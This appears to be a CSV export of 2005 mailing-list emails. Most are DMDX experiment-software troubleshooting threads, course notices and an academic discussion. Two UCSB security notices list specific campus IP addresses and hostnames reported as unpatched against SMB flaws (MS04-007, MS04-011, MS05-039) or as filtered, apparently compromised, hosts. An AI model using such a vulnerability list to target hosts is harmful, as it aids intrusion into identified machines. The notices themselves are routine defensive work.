3 RT -7000.00 -- Error Rate 100% >Display error at msec 29072.37, tick 1772 in item 3, frame ""apple"" >moved into video memory 250 ticks late >(previous frame's duration will have been longer) >-- possibly caused by another process taking 5 ticks >... >... > >I noticed that both the display error and tick increased as the experiment >went on. But the number of ticks-late when a frame moved into video memory >was ranged between 234 and 251. > >Later I changed the header parameters to > +Space> 255255255> >thinking that it might help. But it didn't. The result of running a >diagnostics is about the same as mentioned above. Could anyone tell me >what to do? Thanks a lot. > >Cheers, >Daphne > > >NEW - crystal clear PC to PC /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Integrity has no need for rules.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 Sep 2005 10:33:32 -0700",[DMDX] Re: interrupt device didn't work!,"At 08:33 AM 9/14/2005 -0700, you wrote: Correction: > Then you can use things like Then you can use things like /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Help starve a feeding bureaucrat.",0,0 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Wed, 14 Sep 2005 13:33:26 -0500",[CS382M:5] Course reader,"As I mentioned in class today, the CS course reader is now available at the University Co-op on Guadalupe. It contains the papers listed on the Reading List web page: http://www.cs.utexas.edu/users/skeckler/cs382m/reading_list.shtml Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"by mcfeely.acs.oakland.edu (MOS 3.5.8-GR)         with ESMTP id BHN27265;         Wed, 14 Sep 2005 17:22:10 -0400 (EDT) Received: from sun.soci.niu.edu (sun.soci.niu.edu [131.156.144.2])         by ohm.sys.oakland.edu (MOS 3.5.8-GR)         with ESMTP id BQQ68555;         Wed, 14 Sep 2005 17:22:09 -0400 (EDT) Received: from sun (localhost [127.0.0.1])         by sun.soci.niu.edu (8.12.10/8.12.10) with ESMTP id j8ELCxre027222;         Wed, 14 Sep 2005 16:13:00 -0500 (CDT) Received: with LISTAR (v1.0.0; list sssitalk); Wed, 14 Sep 2005 16:12:59 %z (CDT) Received: from ohm.sys.oakland.edu (mail.oakland.edu [141.210.2.14])         by sun.soci.niu.edu (8.12.10/8.12.10) with ESMTP id j8ELCwre027217         for ; Wed, 14 Sep 2005 16:12:58 -0500 (CDT) Received: from mcfeely.acs.oakland.edu (mcfeely-smtp.oakland.edu [141.210.2.19])         by ohm.sys.oakland.edu (MOS 3.5.8-GR)         with ESMTP id BQQ67661;         Wed, 14 Sep 2005 17:12:58 -0400 (EDT) Received: from mcfeely.acs.oakland.edu (localhost.acs.oakland.edu [127.0.0.1])         by mcfeely.acs.oakland.edu (MOS 3.5.8-GR)         with ESMTP id BHN26542;         Wed, 14 Sep 2005 17:12:58 -0400 (EDT) Received: from 141.210.53.74         by mcfeely.acs.oakland.edu (MOS 3.5.8-GR)         with HTTP/1.1;         Wed, 14 Sep 2005 17:12:58 -0400 Date: Wed, 14 Sep 2005 17:12:58 -0400 From: David Maines Subject: Re: The Fly Ball and Agency To: sssitalk@sun.soci.niu.edu X-Mailer: Mirapoint Webmail Direct 3.5.8-GR MIME-Version: 1.0 Message-Id: Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 3594 X-listar-version: Listar v1.0.0 Sender: sssitalk-bounce@sun.soci.niu.edu Errors-to: sssitalk-bounce@sun.soci.niu.edu X-original-sender: maines@oakland.edu Precedence: bulk Reply-to: sssitalk@sun.soci.niu.edu X-list: sssitalk It all comes from repetition so that the act itself encompasses all the previous acts such that we can say that the body remembers the mind. This is true in my favorite recreation--billiards. Shoot the same shot over and over and over, so that when you have that shot in a game it becomes automatic. If you don't do that--and do it right--you can think all you want and construct all kinds of realities and you still won't make the shot. And that's what pisses me off about pool--I've got too many bad engrained emboddied habits. So there's a gap between knowing what to do and what my body will let me do. Weird stuff...but like that film about golf (somebody Vance), I still go back to the pool table in search of that perfect shot that is pure poetry. Maines ---- Original message ---- >Date: Wed, 14 Sep 2005 16:53:00 -0400 >From: Dan.Miller@notes.udayton.edu >Subject: Re: The Fly Ball and Agency >To: sssitalk@sun.soci.niu.edu > > >Ulrich Mill writes: > >BUT is a habitual response not the foundation of every smart >response in sports? > >I was thinking of an habitual response as being a nonmindful one with >catching a baseball being a purposive (mindful) act. It is true that every >good response in sports appears to be automatic. However, when we slow >down the video we see a good deal of thought is happening. In soccer a >ball near the goal is kicked, apparently an habitual response, but the >kicker chooses a corner, speed, and height the ball should take in relation >to the goalie and other defenders. > >Mead, as we all know, was a baseball fan. He liked the Chicago White Sox >and saw them at their best and worst. Like Mead, I'll try to keep my game >analyses to small doses. > >Dan > >Dan Miller >Department of Sociology >University of Dayton >Dayton, Ohio 45469-1442 >937.229.2138 >Dan.Miller@notes.udayton.edu > > David R. Maines Department of Sociology and Anthropology Oakland University Rochester, Michigan 48309 248-370-4654 (office) 248-375-9648 (home) Maines@Oakland.edu Next message: Shoon: ""Dichotomies between Agency and Structure"" Previous message: Kent Sandstrom: ""Defining Agency and Empowerment"" Next in thread: Shoon: ""Dichotomies between Agency and Structure"" Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] This archive was generated by hypermail 2b28 : Mon Jan 09 2006 - 15:44:05 CST",0,1 Yu-cheng Sieh ,DMDX@psy1.psych.arizona.edu,"Thu, 15 Sep 2005 04:08:20 +0100",[DMDX] Re: interrupt device didn't work!,"Hello Jonathan, Thank you for your suggestion. All display errors were solved after I removed the delay parameter as you suggested. However, the mapping is still not working. I followed your suggestion and changed the input device to #. But the syntax check told me that the <#3> was not found on input devices. I once suspected that the signal sent by the mouse was not received probably because the .bmp and the .wav take up too much video memory. So I wrote another script using only text. However, the mouse still failed to function. Not even when I used # in mapping the positive and negative responses. The RTs in all items all showed the timeout ms and 100% error rate. Here are the header parameters and test items. 0 ""Press SPACEBAR to start."" ; +1 * ""rabbit"" /; +2 * ""tool"" /; -3 * ""rubid"" /; -4 * ""stopograttic"" /; +5 * ""mouse"" /; 0 ""The end. Thank you."" ; I am at my wits' end. Could you help me to solve the mapping problem? Thanks a lot. Daphne ""j.c.f."" wrote: Your display errors will be fixed by removing the delay parameter altogether. Unless you have a real need for a fixed ISI don't use D. As for the input devices if you turn on there will be a whole bunch of information in diagnostics.txt helping us determine what's gone wrong. Pretty odd that we're not getting errors about mappings that aren't found but I'm betting it's related to your positive response mapping not having a + in front of it, should be . Typically with non-english input devices its best to use the # versions of them instead of their named versions, instead of ""ŠŠ‘l"">. Then you can use things like -- but be careful if you use more than one # input device as you'll have two #0 buttons and won't be able to map buttons on the second device... At 08:09 AM 9/14/2005 +0100, you wrote: >Hi, > >I am a new user of DMDX. I learned to write the script file and corrected >most of the errors by referring to the postings on the ListServ and the >DMDX Help. However, when I tested myself (using a Compaq Presario 2800 >laptop), I found the mice (both touchpad and USB) didn't work. The mice >work in all other conditions but they seem to go to sleep when I run the >experiment. The strange thing is the SpaceBar works. Because you only unmap the positive and negative response keys but not the requests. > When all means failed, I tried to map the Shift buttons on the keyboard, > instead of using a mouse. But they didn't work either. It appears that > only the SpaceBar works. > >I am not sure if it's caused by any mistakes I made in the script. The >laptop I use is one with some button names in Chinese. I found out the >button names by doing the input test in the TimeDX. The number (#0, #1, >#2) of the two input devices' buttons was not found on input devices when >I ran a syntax check. > >Here is part of my script. > >+Space> >255255255> >0 ""Press SPACEBAR to start.""; >+1 / * ""sun"" / ""sun"" / / ; >-2 / * ""lip""/ ""book"" / / ; >-3 / * ""banana""/ ""apple"" / / ; >+4 / * ""ice cream""/ ""ice cream"" / >1000> /; >.... >.... > >I suspect something might have gone wrong so I ran the diagnostics. Here's >the info I've got. >.... >.... >EXPERIMENT READY >24 video memory buffers at 800x600 16 bpp >Preparation A 48.63ms, B 0.00ms >0 ""Press SPACEBAR to start.""; >Display error at msec 544.36, tick 32 in item 0, frame ""Press SPACEBAR to >start."" >moved into video memory 12 ticks late >(previous frame's duration will have been longer) >-- possibly caused by another process taking 1 tick >Preparation A 0.18ms, B 3.26ms >+1 ""sun"" / * ""sun"" /! /; >DQ adjusted by 1 ticks to allow for sound >Item 1 RT -7000.00 -- Error Rate 100% >Preparation A 235.44ms, B 97.73ms >-2 ""lip"" / * ""book"" /! /; >DQ adjusted by 1 ticks to allow for sound >Item 2 RT -7000.00 -- Error Rate 100% >Display error at msec 21590.50, tick 1317 in item 2, frame ""book"" >moved into video memory 250 ticks late >(previous frame's duration will have been longer) >-- possibly caused by another process taking 5 ticks >Preparation A 310.88ms, B 129.13ms >-3 ""banana"" / * ""apple"" /! /; >DQ adjusted by 1 ticks to allow for sound >Item 3 RT -7000.00 -- Error Rate 100% >Display error at msec 29072.37, tick 1772 in item 3, frame ""apple"" >moved into video memory 250 ticks late >(previous frame's duration will have been longer) >-- possibly caused by another process taking 5 ticks >... >... > >I noticed that both the display error and tick increased as the experiment >went on. But the number of ticks-late when a frame moved into video memory >was ranged between 234 and 251. > >Later I changed the header parameters to > >+Space> >255255255> >thinking that it might help. But it didn't. The result of running a >diagnostics is about the same as mentioned above. Could anyone tell me >what to do? Thanks a lot. > >Cheers, >Daphne > > >NEW - crystal clear PC to PC /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Integrity has no need for rules. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --------------------------------- Yahoo! Messenger NEW - crystal clear PC to PC calling worldwide with voicemail",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 Sep 2005 21:54:45 -0700",[DMDX] Re: interrupt device didn't work!,"At 04:08 AM 9/15/2005 +0100, you wrote: >I am at my wits' end. Could you help me to solve the mapping problem? >Thanks a lot. > Turn on like I said in the parameter line and look at diagnostics.txt, it will contain the information we need to see. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Integrity has no need for rules.",0,0 Yu-cheng Sieh ,DMDX@psy1.psych.arizona.edu,"Thu, 15 Sep 2005 16:21:45 +0100",[DMDX] Re: interrupt device,"Hello Jonathan, I am not sure what info we are looking for. But here's what I got from running the diagnostics in TestMode 10. I'll just copy the digits from the diagnostics.txt which are listed behind the buttons I've used or tried to map. ... ... Job is running in TESTMODE 10 Available DI device <滑鼠> [] (my note: which is mouse) Available DI device <鍵盤> [L] (my note: which is keyboard) Adding Input Device button <+Escape> 43 69 115 99 97 112 101 Adding Input Device button <-Escape> 45 69 115 99 97 112 101 Adding Input Device button <+Backspace> 43 66 97 99 107 115 112 97 99 101 Adding Input Device button <-Backspace> 45 66 97 99 107 115 112 97 99 101 Adding Input Device button <+左邊 Shift> 43 -91 -86 -61 -28 32 83 104 105 102 116 (=L Shift) Adding Input Device button <-左邊 Shift> 45 -91 -86 -61 -28 32 83 104 105 102 116 Adding Input Device button <+右邊 Shift> 43 -91 107 -61 -28 32 83 104 105 102 116 (=R Shift) Adding Input Device button <-右邊 Shift> 45 -91 107 -61 -28 32 83 104 105 102 116 Adding Input Device button <+Space> 43 83 112 97 99 101 Adding Input Device button <-> 45 83 112 97 99 101 ... Available DI device <滑鼠>[] (my note: which is mouse) Adding Input Device button <+按鈕0> 43 -85 -10 -74 115 32 48 Adding Input Device button <-按鈕0> 45 -85 -10 -74 115 32 48 45 Adding Input Device button <+按鈕1> 43 -85 -10 -74 115 32 49 Adding Input Device button <-按鈕1> 45 -85 -10 -74 115 32 49 Adding Input Device button <+按鈕2> 43 -85 -10 -74 115 32 50 Adding Input Device button <-按鈕2> 45 -85 -10 -74 115 32 50 Mapping button <+#0> 43 35 48 <+#0> not found on input device May I know what those digits mean? Thanks a lot. Daphne ""j.c.f."" wrote: At 04:08 AM 9/15/2005 +0100, you wrote: >I am at my wits' end. Could you help me to solve the mapping problem? >Thanks a lot. > Turn on like I said in the parameter line and look at diagnostics.txt, it will contain the information we need to see. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Integrity has no need for rules. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --------------------------------- Yahoo! Messenger NEW - crystal clear PC to PC calling worldwide with voicemail",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 15 Sep 2005 11:31:04 -0700",[DMDX] Re: interrupt device,"At 04:21 PM 9/15/2005 +0100, you wrote: >Hello Jonathan, > >I am not sure what info we are looking for. >But here's what I got from running the diagnostics in TestMode 10. I'll >just copy the digits from the diagnostics.txt which are listed behind the >buttons I've used or tried to map. >... >... >Job is running in TESTMODE 10 >Available DI device <Ñ > [] (my note: which is mouse) >Available DI device [L] (my note: which is keyboard) >Adding Input Device button <+Escape> 43 69 115 99 97 112 101 >Adding Input Device button <-Escape> 45 69 115 99 97 112 101 >Adding Input Device button <+Backspace> 43 66 97 99 107 115 112 97 99 101 >Adding Input Device button <-Backspace> 45 66 97 99 107 115 112 97 99 101 >Adding Input Device button <+æŠ Shift> 43 -91 -86 -61 -28 32 83 104 105 >102 116 (=L Shift) >Adding Input Device button <-æŠ Shift> 45 -91 -86 -61 -28 32 83 104 105 >102 116 >Adding Input Device button <+óŠ Shift> 43 -91 107 -61 -28 32 83 104 105 >102 116 (=R Shift) >Adding Input Device button <-óŠ Shift> 45 -91 107 -61 -28 32 83 104 105 >102 116 >Adding Input Device button <+Space> 43 83 112 97 99 101 >Adding Input Device button <-> 45 83 112 97 99 101 >... >Available DI device <Ñ >[] (my note: which is mouse) >Adding Input Device button <+ 0> 43 -85 -10 -74 115 32 48 >Adding Input Device button <- 0> 45 -85 -10 -74 115 32 48 45 >Adding Input Device button <+ 1> 43 -85 -10 -74 115 32 49 >Adding Input Device button <- 1> 45 -85 -10 -74 115 32 49 >Adding Input Device button <+ 2> 43 -85 -10 -74 115 32 50 >Adding Input Device button <- 2> 45 -85 -10 -74 115 32 50 >Mapping button <+#0> 43 35 48 ><+#0> not found on input device > >May I know what those digits mean? Thanks a lot. That's the decimal representation of the raw ascii characters. Amazingly the # character is somehow -85 -10 -74 115 32 instead of the 35 it should be. Some kind of weird escape code has gotten in there. Pretty impressive as it's my code that puts it in there but who knows what chicanery is going on to handle your Asian fonts. Unless you can successfully copy the text out of diagnostics.txt for the name of that key you'll have to give up on the whole # based scheme and use normal input device and button names and paste the button names out of diagnostics.txt after changing the item file to use the non # version of the device name. Weird. I'll have a look at the code and see if I can see what's getting a hold of the button names and mucking them up in which case there'll be a new version of DMDX to try this afternoon. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Integrity has no need for rules.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 15 Sep 2005 13:19:51 -0700",[DMDX] Re: interrupt device,"I see what's happening. You need to use the literal characters: No Chinese stuff. #mouse is a special name to DMDX meaning grab the first mouse-like device -- regardless of what it's actual name is. Same with #keyboard and #joystick. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Help starve a feeding bureaucrat.",0,0 ,,,,"(8.12.8/8.12.8) with ESMTP id j8FME3C4006045 for ; Thu, 15 Sep 2005 15:14:03 -0700 Received: from localhost.ucsb.edu ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1EG1zJ-000Dl2-2m; Thu, 15 Sep 2005 15:13:49 -0700 Received: from ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtps TLSv1:AES256-SHA:256 id 1EG1yl-000Dkj-VM for csf@ucsb.edu; Thu, 15 Sep 2005 15:13:16 -0700 Received: from [169.231.66.4] (helo=[169.231.68.207]) by smtp.ucsb.edu with esmtpsa TLSv1:RC4-SHA:128 id 1EG1yl-000Dkd-Ny for csf@ucsb.edu; Thu, 15 Sep 2005 15:13:15 -0700 Mime-Version: 1.0 (Apple Message framework v734) Message-Id: <6FA7717C-03DC-4355-BD62-4C3A4E615988@UCSB.edu> From: E. Todd Atkins Date: Thu, 15 Sep 2005 15:13:12 -0700 To: csf@ucsb.edu X-Mailer: Apple Mail (2.734) Subject: [CSF] Blocked and Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.6 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu Hello, You can find a ""Filtered Hosts"" list as well as a ""Unpatched Hosts"" lists further down in this message. If you manage a host that is in the list of unpatched hosts, then I highly recommend that you: 1. Patch the host ASAP, or firewall it until it if it cannot be patched for some reason. 2. Check the system for rogue services (e.g. back doors, FTP servers, etc.). www.foundstone.com has a nice tool called Vision for identifying ports and processes on Windows hosts. If your host is in the ""Filtered Hosts"" list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Patch these hosts soon or they are likely to be compromised and on the filtered list: 128.111.87.190 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.92.76 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.92.210 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.108.165 445 MS04-007 VULNERABLE:MS04-011 VULNERABLE:MS05-039 INCONCLUSIVE 128.111.113.115 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.130.35 445 MS04-007 VULNERABLE:MS04-011 VULNERABLE:MS05-039 VULNERABLE 128.111.131.67 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.133.155 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.192.58 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.205.58 445 MS04-007 VULNERABLE:MS04-011 VULNERABLE:MS05-039 INCONCLUSIVE These hosts are currently being filtered: *** Filtered Hosts *** 128.111.8.224 tiamat.physics.ucsb.edu 128.111.16.216 dorado.physics.ucsb.edu 128.111.32.103 -- 128.111.68.13 -- 128.111.81.64 -- 128.111.92.87 host92-87.lsdepts.ucsb.edu 128.111.104.42 herodotus.geog.ucsb.edu 128.111.104.205 boggspc.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.111.21 -- 128.111.131.50 host131-50.lsdepts.ucsb.edu 128.111.142.32 -- 128.111.142.61 -- 128.111.142.163 -- 128.111.145.39 -- 128.111.159.81 -- 128.111.160.8 -- 128.111.165.37 host165-37.lsdepts.ucsb.edu 128.111.179.107 ismerlap.materials.ucsb.edu 128.111.181.68 -- 128.111.229.2 -- 128.111.229.211 -- 128.111.229.212 -- 128.111.234.37 zenith.ncgia.ucsb.edu 128.111.247.63 -- Filtered Hosts ............................... 25 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu https://ucsb.edu/mailman/listinfo/csf _______________________________________________ CSF mailing list - CSF@ucsb.edu https://ucsb.edu/mailman/listinfo/csf",0,1 Yu-cheng Sieh ,DMDX@psy1.psych.arizona.edu,"Fri, 16 Sep 2005 02:09:27 +0100",[DMDX] Re: interrupt device,"A million thanks to Jonathan. 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Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Mark Conroy ,DMDX@psy1.psych.arizona.edu,"Tue, 20 Sep 2005 15:53:49 +0930",[DMDX] RE: RE: Re: missing item number error,"Hi Jonathon, Thanks for the advice regarding the problem below. I have since solved the problem and the file is now working...altghough I am still not exactly sure how I did it. I think it had something to do with a surplus $ character somewhere in the file. Once I fixed this, it didn't seem to matter that I had the backslash \\ next to the + character and the item number, as in: \\+10201""have"", DMDX still recognised the backslash. Nevertheless I took your advice and I did rewrite the file to put backslashes on separate lines....just to be safe. Mark -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Saturday, 10 September 2005 1:27 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Re: missing item number error At 02:15 PM 9/9/2005 +0930, you wrote: >Hi Jonathon, > >Thanks for your advice. Unfortunately doing as you suggest did not >help. Therefore I am still stuck. Besides, the syntax I originally >used with the backslash definitely works without problem in my other >file. That is, the following causes no problem in my other file: > >0""READY - PRESS SPACEBAR"";$ >\\+10201""have"", It certainly should function, the only criteria I remember adding to scramble for a backslash was that it had to be at the start of line. General religious reasons make me follow it with white space however. >""house"", >""their"", >""could"", >""whole"", >""they"", >*!""painted""; > >Have you got any other advice about what things may be causing a >'missing item number' or things like 'RTF control word <\\+> used not >supported' errors? I would appreciate any tips or clues. Somehow or other DMDX isn't seeing the backslash as a backslash. Either it's some extended character that just happens to look like a backslash or the RTF is badly formed. RTF codes all begin with a backslash, you don't see them because Word or whatever it is that you are using interprets them like DMDX does and displays meaningful text. Open an item file in a text editor (Notepad if you don't have a better one) one day and you'll see what I mean. In fact it'd be interesting to see just what it is that your file has in it. What's happening is that somehow your backslash isn't being seen as the text of the item file but an RTF control word, hence it sees \\+ which isn't an RTF control word. Backslashes if they're really backslashes are stripped out by Scramble so DMDX's item parser would never see them in normal operation so when you ignore unknown RTF DMDX's item parser sees it and is looking for a item CR indicator or an item number and it throws the syntax error. Very weird that the RTF parser would see it as a backslash but Scramble won't. Try deleting and retyping the offending section. Or you can pour the item file though WordPad and see if it can't strip the poorly formed section out. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ We lie loudest when we lie to ourselves. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 20 Sep 2005 07:48:35 -0700",[DMDX] RE: RE: Re: missing item number error,"At 03:53 PM 9/20/2005 +0930, you wrote: >Hi Jonathon, > >Thanks for the advice regarding the problem below. I have since solved >the problem and the file is now working...altghough I am still not >exactly sure how I did it. I think it had something to do with a >surplus $ character somewhere in the file. Once I fixed this, it didn't >seem to matter that I had the backslash \\ next to the + character and >the item number, as in: > \\+10201""have"", >DMDX still recognised the backslash. Nevertheless I took your advice and >I did rewrite the file to put backslashes on separate lines....just to >be safe. Yeah, it's entirely possible that scramble still has a lulu or two in there. The code wasn't written by me and when it was written getting it working was considered nothing short of miraculous. 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Tsatsomeros http://www.sciencedirect.com/science/issue/5653-2005-995909999-606501 ================================================================================ TABLE OF CONTENTS 1) Editorial board Pages ii-iii 2) Photo of Pauline van den Driessche Page xii 3) Preface Pages 1-12 S. Kirkland, J.J. McDonald, D.D. Olesky and M.J. Tsatsomeros 4) On the difference between the maximum multiplicity and path cover number for tree-like graphs Pages 13-31 Francesco Barioli, Shaun Fallat and Leslie Hogben 5) Proximity in group inverses of M-matrices and inverses of diagonally dominant M-matrices Pages 32-50 Minerva Catral, Michael Neumann and Jianhong Xu 6) Isospectral vibrating systems. Part 1. The spectral method Pages 51-69 Peter Lancaster 7) Bipartite and tripartite systems and matrices from genetic control research Pages 70-78 Clark Jeffries 8) Eigenvectors and eigenvalues of non-regular graphs Pages 79-86 Xiao-Dong Zhang 9) Rectangular submatrices of inverse -matrices and the decomposition of a positive matrix as a sum Pages 87-99 C.R. Johnson and D.D. Olesky 10) A strategy for constructing Lyapunov functions for non-autonomous linear differential equations Pages 100-110 C. Connell McCluskey 11) Rational realizations of the minimum rank of a sign pattern matrix Pages 111-125 Marina Arav, Frank J. Hall, Selcuk Koyuncu, Zhongshan Li and Bhaskara Rao 12) Matrix analysis of a Markov chain small-world model Pages 126-146 Minerva Catral, Michael Neumann and Jianhong Xu 13) A note on generalized Hessenberg matrices Pages 147-152 L. Elsner 14) A sharp upper bound on the largest Laplacian eigenvalue of weighted graphs Pages 153-165 Kinkar Ch. Das and R.B. Bapat 15) Spectral properties of a near-periodic row-stochastic Leslie matrix Pages 166-186 Mei-Qin Chen and Xiezhang Li 16) Author index Page 187 ",0,1 Steve Keckler ,cs382m@lists.cc.utexas.edu,"Wed, 21 Sep 2005 14:00:11 -0500",[CS382M:7] HW #2,"CS382m-ers, Kartik has made the Simplescalar tools available and if necessary will make any tweaks necessary so that they run smoothly for you. Let him know if you have any problems. He has also created a web page (now linked from the ""handouts"" page) which has additional simplescalar documentation. I recommend checking it out. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"(8.12.8/8.12.8) with ESMTP id j8LNOEC4002329 for ; Wed, 21 Sep 2005 16:24:14 -0700 Received: from localhost.ucsb.edu ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1EIDwV-000Bhy-8v; Wed, 21 Sep 2005 16:23:59 -0700 Received: from ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtps TLSv1:AES256-SHA:256 id 1EIDw2-000BhN-7S for csf@ucsb.edu; Wed, 21 Sep 2005 16:23:30 -0700 Received: from [169.231.66.2] (helo=[169.231.68.224]) by smtp.ucsb.edu with esmtpsa TLSv1:RC4-SHA:128 id 1EIDw1-000BhG-W6 for csf@ucsb.edu; Wed, 21 Sep 2005 16:23:30 -0700 Mime-Version: 1.0 (Apple Message framework v734) Message-Id: <5D7DC886-005A-4CCE-831A-D3851864A28B@UCSB.edu> From: E. Todd Atkins Date: Wed, 21 Sep 2005 16:23:29 -0700 To: csf@ucsb.edu X-Mailer: Apple Mail (2.734) Subject: [CSF] Blocked and Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.6 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu Hello, You can find a ""Filtered Hosts"" list as well as a ""Unpatched Hosts"" lists further down in this message. If you manage a host that is in the list of unpatched hosts, then I highly recommend that you: 1. Patch the host ASAP, or firewall it until it if it cannot be patched for some reason. 2. Check the system for rogue services (e.g. back doors, FTP servers, etc.). www.foundstone.com has a nice tool called Vision for identifying ports and processes on Windows hosts. If your host is in the ""Filtered Hosts"" list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Patch these hosts soon or they are likely to be compromised and on the filtered list: 128.111.54.7 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.87.190 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.92.76 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.92.83 445 MS04-007 VULNERABLE:MS04-011 VULNERABLE:MS05-039 VULNERABLE 128.111.94.76 445 MS04-007 VULNERABLE:MS04-011 VULNERABLE:MS05-039 INCONCLUSIVE 128.111.130.35 445 MS04-007 INCONCLUSIVE:MS04-011 INCONCLUSIVE:MS05-039 VULNERABLE 128.111.192.58 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.205.58 445 MS04-007 VULNERABLE:MS04-011 VULNERABLE:MS05-039 INCONCLUSIVE 128.111.221.134 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE 128.111.225.208 445 MS04-007 SECURE:MS04-011 SECURE:MS05-039 VULNERABLE These hosts are currently being filtered: *** Filtered 